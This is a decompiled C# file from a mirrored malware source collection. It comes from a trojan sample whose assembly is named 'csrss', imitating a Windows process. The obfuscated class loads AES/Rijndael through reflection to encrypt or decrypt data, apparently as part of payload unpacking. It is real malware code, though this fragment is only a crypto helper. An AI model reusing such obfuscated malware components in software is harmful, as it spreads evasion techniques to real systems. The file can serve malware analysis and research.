mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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49 lines
1.6 KiB
C#
49 lines
1.6 KiB
C#
// Decompiled with JetBrains decompiler
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// Type: .
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// Assembly: csrss, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
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// MVID: 57F4D4CE-643E-4C92-9C47-86B837B59593
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// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.ujb-dca840b3862ed520a86af06748a84aa60d663bef2c7875759235eb95d0228c91.exe
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using System;
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using System.IO;
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using System.Reflection;
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using System.Runtime.InteropServices;
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using System.Security.Cryptography;
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namespace \u0003
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{
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internal sealed class \u0001
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{
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private readonly Type \u0001;
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private readonly object \u0001;
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public \u0001()
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{
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try
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{
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this.\u0001 = Assembly.Load("System.Core, Version=2.0.5.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e").GetType("System.Security.Cryptography.AesManaged");
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}
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catch (FileNotFoundException ex)
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{
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this.\u0001 = Assembly.Load("mscorlib").GetType("System.Security.Cryptography.RijndaelManaged");
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}
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this.\u0001 = Activator.CreateInstance(this.\u0001);
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}
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public ICryptoTransform \u0002([In] byte[] obj0, [In] byte[] obj1, [In] bool obj2)
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{
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this.\u0001.GetProperty("Key").GetSetMethod().Invoke(this.\u0001, new object[1]
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{
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(object) obj0
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});
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this.\u0001.GetProperty("IV").GetSetMethod().Invoke(this.\u0001, new object[1]
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{
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(object) obj1
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});
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return (ICryptoTransform) this.\u0001.GetMethod(obj2 ? "CreateDecryptor" : "CreateEncryptor", new Type[0]).Invoke(this.\u0001, new object[0]);
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}
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public void \u0002() => this.\u0001.GetMethod("Clear").Invoke(this.\u0001, new object[0]);
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}
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}
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